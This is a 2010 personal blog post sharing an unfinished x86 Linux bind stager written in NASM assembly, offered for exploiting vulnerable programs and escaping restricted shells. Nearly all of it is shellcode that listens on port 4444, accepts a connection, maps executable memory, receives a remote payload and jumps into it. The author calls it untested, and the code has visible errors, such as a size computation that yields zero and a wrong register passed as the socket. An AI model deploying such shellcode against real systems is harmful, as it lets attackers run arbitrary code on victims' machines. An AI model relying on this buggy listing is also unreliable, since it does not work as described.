mercredi 21 avril 2010

Linux bind stager x86 WIP (unoptimised)

Last day I was asking myself about metasploit not seeming to have a real x86 Linux stager and I was like : oh let's do it since I have time today.

This shellcode was untested and not optimised. It is only a Work In Progress since I will be quite busy these few next weeks.
My guess for it's usage would be for jailbreaking (restricted shell but vulnerable program who knows? ;) ) or simply for doing specific tasks which might need space.

For now it's 106 bytes, there is room for improvements of course ;) .

Here it is :
; AGPL v3
; Author : m_101

bits 32

; socket function number
%define SYS_SOCKET  1
%define SYS_BIND    2
%define SYS_LISTEN  4
%define SYS_ACCEPT  5
%define SYS_RECV    10

;
%define AF_INET     2

%define SOCK_STREAM 1

%define PROT_NONE   0
%define PROT_READ   1
%define PROT_WRITE  2
%define PROT_EXEC   4

%define MAP_SHARED  1
%define MAP_PRIVATE 2
%define MAP_FIXED   16

;
%define SIZEOF_SOCKADDR_IN  16

;
%define PORT    4444

section .text

stager:
; socket opening
socket:
push byte 102   ; socketcall
pop eax
; args
cdq
mov byte dl, 2  ; edx = 2 <=> AF_INET
push edx
dec edx         ; edx = 1 <=> SOCK_STREAM
push edx
cdq             ; reset edx
push edx
mov ecx, esp
; socket
push byte SYS_SOCKET
pop ebx
; socket (AF_INET, SOCK_STREAM, 0)
int 0x80
mov esi, eax    ; save socket descriptor
; bind : need to finish it
bind:
push byte 102   ; socketcall
pop eax
cdq             ; reset edx
; constructing struct sockaddr_in
push edx            ; padding
push edx            ; padding
push edx            ; address = 0 = ANY_ADDRESS
push word PORT      ; sin_port
push byte AF_INET   ; sin_family
mov ecx, esp        ; struct sockaddr_in *addr

; construct args array
push byte SIZEOF_SOCKADDR_IN    ; socklen_t addrlen
push ecx                        ; struct sockaddr_in *addr
push esi                        ; socket descriptor
mov ecx, esp                    ; args
push byte SYS_BIND
pop ebx
; bind (sd, addr, 16)
int 0x80

; listen
listen:
push byte 102
pop eax
cdq             ; reset edx
mov byte dl, 10 ; backlog = 10
push edx        ; backlog
push esi        ; socket descriptor
mov ecx, esp    ; args
push byte SYS_LISTEN
pop ebx
; listen (sd, 10);
int 0x80
;
accept:
push byte 102      ; socketcall
pop eax
push byte SIZEOF_SOCKADDR_IN
push esp    ; to fix size address
push esp    ; to fix sockaddr_in address
push esi
mov ecx, esp    ; args array
mov byte bl, SYS_ACCEPT
int 0x80
mov esi, eax    ; save client socket


; memory allocation
; mmap
mmap:
push byte 90
pop eax
; sign extend eax => edx = 0
cdq
; construct args
push edx    ; NULL
; 4MB size
push byte 1
pop edx
shr edx, 12
push edx        ; edx = 4MB
xchg edx, ebx   ; ebx = 4MB
; PROT_READ | PROT_WRITE | PROT_EXEC = 7
cdq
mov byte dl, PROT_READ | PROT_WRITE | PROT_EXEC
push edx
; MAP_PRIVATE
cdq
mov byte dl, MAP_PRIVATE
push edx
; fd
push edi    ; client socket
; offset
cdq         ; reset edx
push edx    ; offset = 0
; mmap (NULL, 4MB, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE, 0, 0)
int 0x80        ; make syscall
mov edi, eax    ; save allocated memory

recv:
push byte 102   ; socketcall syscall
pop eax

cdq             ; reset edx
push edx        ; flag
push ebx        ; memory allocated size
push edi        ; memory address
push esi        ; client socket descriptor
mov ecx, esp    ; args

push byte SYS_RECV
pop ebx

; recv (client socket descriptor, memory address, 4MB, 0);
int 0x80

; stage execution
jmp edi


Next thing to do is to optimized it and do the reverse version ;) .

Happy shellcoding,

m_101

Aucun commentaire :

Enregistrer un commentaire